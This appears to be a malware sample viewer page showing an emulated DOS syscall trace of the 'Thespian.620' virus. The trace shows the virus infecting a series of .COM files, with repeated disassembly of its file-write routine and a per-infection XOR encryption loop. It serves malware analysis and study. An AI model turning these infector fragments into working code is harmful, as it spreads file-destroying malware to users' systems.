Sample viewer

vx.netlux.org/Virus.DOS.VCC.Thespian.620

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T21:50:36.524197139Z 26 PC: 12a64 | Set disk transfer address
2018-12-17T21:50:36.525602926Z 78 PC: 12a78 | Find first file
2018-12-17T21:50:36.529327544Z 61 PC: 12c40 | Open file (Filename = 'SLEEP.COM')
2018-12-17T21:50:36.53558396Z 63 PC: 12c4f | Read file or device (Read 4 bytes on handle 5)
2018-12-17T21:50:36.541260165Z 66 PC: 12c5e | Move file pointer
2018-12-17T21:50:36.542251397Z 66 PC: 12c6d | Move file pointer
2018-12-17T21:50:36.543186524Z 64 PC: 12c79 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T21:50:36.546098306Z 66 PC: 12c85 | Move file pointer
2018-12-17T21:50:36.547315285Z 44 PC: 12c89 | Get time 0x12c89: mov byte ptr [bp + 0x26c], dl
0x12c8d: call 0x12ca3
0x12c90: mov ah, 0x40
0x12c92: mov cx, 0x26c
0x12c95: lea dx, word ptr [bp + 6]
0x12c99: int 0x21
0x12c9b: call 0x12ca3
0x12c9e: mov ah, 0x3e
0x12ca0: int 0x21
0x12ca2: ret
0x12ca3: lea si, word ptr [bp + 0x11]
0x12ca7: mov cx, 0x23c
0x12caa: xor byte ptr [si], 0
0x12cad: inc si
0x12cae: dec cx
0x12caf: jne 0x12caa
0x12cb1: ret
0x12cb2: add word ptr [bx], di
0x12cb4: aas
0x12cb5: aas
2018-12-17T21:50:36.549519663Z 64 PC: 12c9b | Write file or device (Write 620 bytes on handle 5)
2018-12-17T21:50:36.56199501Z 62 PC: 12ca2 | Close file
2018-12-17T21:50:36.571104599Z 79 PC: 12a78 | Find next file
2018-12-17T21:50:36.572748153Z 61 PC: 12c40 | Open file (Filename = 'PRINT.COM')
2018-12-17T21:50:36.577011999Z 63 PC: 12c4f | Read file or device (Read 4 bytes on handle 5)
2018-12-17T21:50:36.581052266Z 66 PC: 12c5e | Move file pointer
2018-12-17T21:50:36.582027028Z 66 PC: 12c6d | Move file pointer
2018-12-17T21:50:36.583174588Z 64 PC: 12c79 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T21:50:36.586097197Z 66 PC: 12c85 | Move file pointer
2018-12-17T21:50:36.587270744Z 44 PC: 12c89 | Get time 0x12c89: mov byte ptr [bp + 0x26c], dl
0x12c8d: call 0x12ca3
0x12c90: mov ah, 0x40
0x12c92: mov cx, 0x26c
0x12c95: lea dx, word ptr [bp + 6]
0x12c99: int 0x21
0x12c9b: call 0x12ca3
0x12c9e: mov ah, 0x3e
0x12ca0: int 0x21
0x12ca2: ret
0x12ca3: lea si, word ptr [bp + 0x11]
0x12ca7: mov cx, 0x23c
0x12caa: xor byte ptr [si], 1
0x12cad: inc si
0x12cae: dec cx
0x12caf: jne 0x12caa
0x12cb1: ret
0x12cb2: add word ptr [bx], di
0x12cb4: aas
0x12cb5: aas
2018-12-17T21:50:36.589381309Z 64 PC: 12c9b | Write file or device (Write 620 bytes on handle 5)
2018-12-17T21:50:36.594858012Z 62 PC: 12ca2 | Close file
2018-12-17T21:50:36.599903119Z 79 PC: 12a78 | Find next file
2018-12-17T21:50:36.601493661Z 61 PC: 12c40 | Open file (Filename = 'HELLO.COM')
2018-12-17T21:50:36.606097193Z 63 PC: 12c4f | Read file or device (Read 4 bytes on handle 5)
2018-12-17T21:50:36.610223378Z 66 PC: 12c5e | Move file pointer
2018-12-17T21:50:36.611354141Z 66 PC: 12c6d | Move file pointer
2018-12-17T21:50:36.612909292Z 64 PC: 12c79 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T21:50:36.61467686Z 66 PC: 12c85 | Move file pointer
2018-12-17T21:50:36.615635933Z 44 PC: 12c89 | Get time 0x12c89: mov byte ptr [bp + 0x26c], dl
0x12c8d: call 0x12ca3
0x12c90: mov ah, 0x40
0x12c92: mov cx, 0x26c
0x12c95: lea dx, word ptr [bp + 6]
0x12c99: int 0x21
0x12c9b: call 0x12ca3
0x12c9e: mov ah, 0x3e
0x12ca0: int 0x21
0x12ca2: ret
0x12ca3: lea si, word ptr [bp + 0x11]
0x12ca7: mov cx, 0x23c
0x12caa: xor byte ptr [si], 7
0x12cad: inc si
0x12cae: dec cx
0x12caf: jne 0x12caa
0x12cb1: ret
0x12cb2: add word ptr [bx], di
0x12cb4: aas
0x12cb5: aas
2018-12-17T21:50:36.617746553Z 64 PC: 12c9b | Write file or device (Write 620 bytes on handle 5)
2018-12-17T21:50:36.622916997Z 62 PC: 12ca2 | Close file
2018-12-17T21:50:36.630923935Z 79 PC: 12a78 | Find next file
2018-12-17T21:50:36.633706837Z 61 PC: 12c40 | Open file (Filename = 'PHANG.COM')
2018-12-17T21:50:36.639808Z 63 PC: 12c4f | Read file or device (Read 4 bytes on handle 5)
2018-12-17T21:50:36.645805717Z 66 PC: 12c5e | Move file pointer
2018-12-17T21:50:36.647449279Z 66 PC: 12c6d | Move file pointer
2018-12-17T21:50:36.648632491Z 64 PC: 12c79 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T21:50:36.65103794Z 66 PC: 12c85 | Move file pointer
2018-12-17T21:50:36.652858293Z 44 PC: 12c89 | Get time 0x12c89: mov byte ptr [bp + 0x26c], dl
0x12c8d: call 0x12ca3
0x12c90: mov ah, 0x40
0x12c92: mov cx, 0x26c
0x12c95: lea dx, word ptr [bp + 6]
0x12c99: int 0x21
0x12c9b: call 0x12ca3
0x12c9e: mov ah, 0x3e
0x12ca0: int 0x21
0x12ca2: ret
0x12ca3: lea si, word ptr [bp + 0x11]
0x12ca7: mov cx, 0x23c
0x12caa: xor byte ptr [si], 7
0x12cad: inc si
0x12cae: dec cx
0x12caf: jne 0x12caa
0x12cb1: ret
0x12cb2: add word ptr [bx], di
0x12cb4: aas
0x12cb5: aas
2018-12-17T21:50:36.655026326Z 64 PC: 12c9b | Write file or device (Write 620 bytes on handle 5)
2018-12-17T21:50:36.663127989Z 62 PC: 12ca2 | Close file
2018-12-17T21:50:36.671353726Z 79 PC: 12a78 | Find next file
2018-12-17T21:50:36.674092787Z 61 PC: 12c40 | Open file (Filename = 'PRINTA~1.COM')
2018-12-17T21:50:36.680561648Z 63 PC: 12c4f | Read file or device (Read 4 bytes on handle 5)
2018-12-17T21:50:36.687204246Z 66 PC: 12c5e | Move file pointer
2018-12-17T21:50:36.68845761Z 66 PC: 12c6d | Move file pointer
2018-12-17T21:50:36.689691924Z 64 PC: 12c79 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T21:50:36.693360359Z 66 PC: 12c85 | Move file pointer
2018-12-17T21:50:36.694599472Z 44 PC: 12c89 | Get time 0x12c89: mov byte ptr [bp + 0x26c], dl
0x12c8d: call 0x12ca3
0x12c90: mov ah, 0x40
0x12c92: mov cx, 0x26c
0x12c95: lea dx, word ptr [bp + 6]
0x12c99: int 0x21
0x12c9b: call 0x12ca3
0x12c9e: mov ah, 0x3e
0x12ca0: int 0x21
0x12ca2: ret
0x12ca3: lea si, word ptr [bp + 0x11]
0x12ca7: mov cx, 0x23c
0x12caa: xor byte ptr [si], 0xc
0x12cad: inc si
0x12cae: dec cx
0x12caf: jne 0x12caa
0x12cb1: ret
0x12cb2: add word ptr [bx], di
0x12cb4: aas
0x12cb5: aas
2018-12-17T21:50:36.696707594Z 64 PC: 12c9b | Write file or device (Write 620 bytes on handle 5)
2018-12-17T21:50:36.704956005Z 62 PC: 12ca2 | Close file
2018-12-17T21:50:36.710474642Z 79 PC: 12a78 | Find next file
2018-12-17T21:50:36.712961943Z 61 PC: 12c40 | Open file (Filename = 'MANDEL.COM')
2018-12-17T21:50:36.719632823Z 63 PC: 12c4f | Read file or device (Read 4 bytes on handle 5)
2018-12-17T21:50:36.725646696Z 66 PC: 12c5e | Move file pointer
2018-12-17T21:50:36.727205346Z 66 PC: 12c6d | Move file pointer
2018-12-17T21:50:36.729344322Z 64 PC: 12c79 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T21:50:36.73173193Z 66 PC: 12c85 | Move file pointer
2018-12-17T21:50:36.732982245Z 44 PC: 12c89 | Get time 0x12c89: mov byte ptr [bp + 0x26c], dl
0x12c8d: call 0x12ca3
0x12c90: mov ah, 0x40
0x12c92: mov cx, 0x26c
0x12c95: lea dx, word ptr [bp + 6]
0x12c99: int 0x21
0x12c9b: call 0x12ca3
0x12c9e: mov ah, 0x3e
0x12ca0: int 0x21
0x12ca2: ret
0x12ca3: lea si, word ptr [bp + 0x11]
0x12ca7: mov cx, 0x23c
0x12caa: xor byte ptr [si], 0x12
0x12cad: inc si
0x12cae: dec cx
0x12caf: jne 0x12caa
0x12cb1: ret
0x12cb2: add word ptr [bx], di
0x12cb4: aas
0x12cb5: aas
2018-12-17T21:50:36.735582573Z 64 PC: 12c9b | Write file or device (Write 620 bytes on handle 5)
2018-12-17T21:50:36.74405657Z 62 PC: 12ca2 | Close file
2018-12-17T21:50:36.751785019Z 26 PC: 12a88 | Set disk transfer address
2018-12-17T21:50:36.753490277Z 9 PC: 12aa6 | Display string (Could not find end pointer)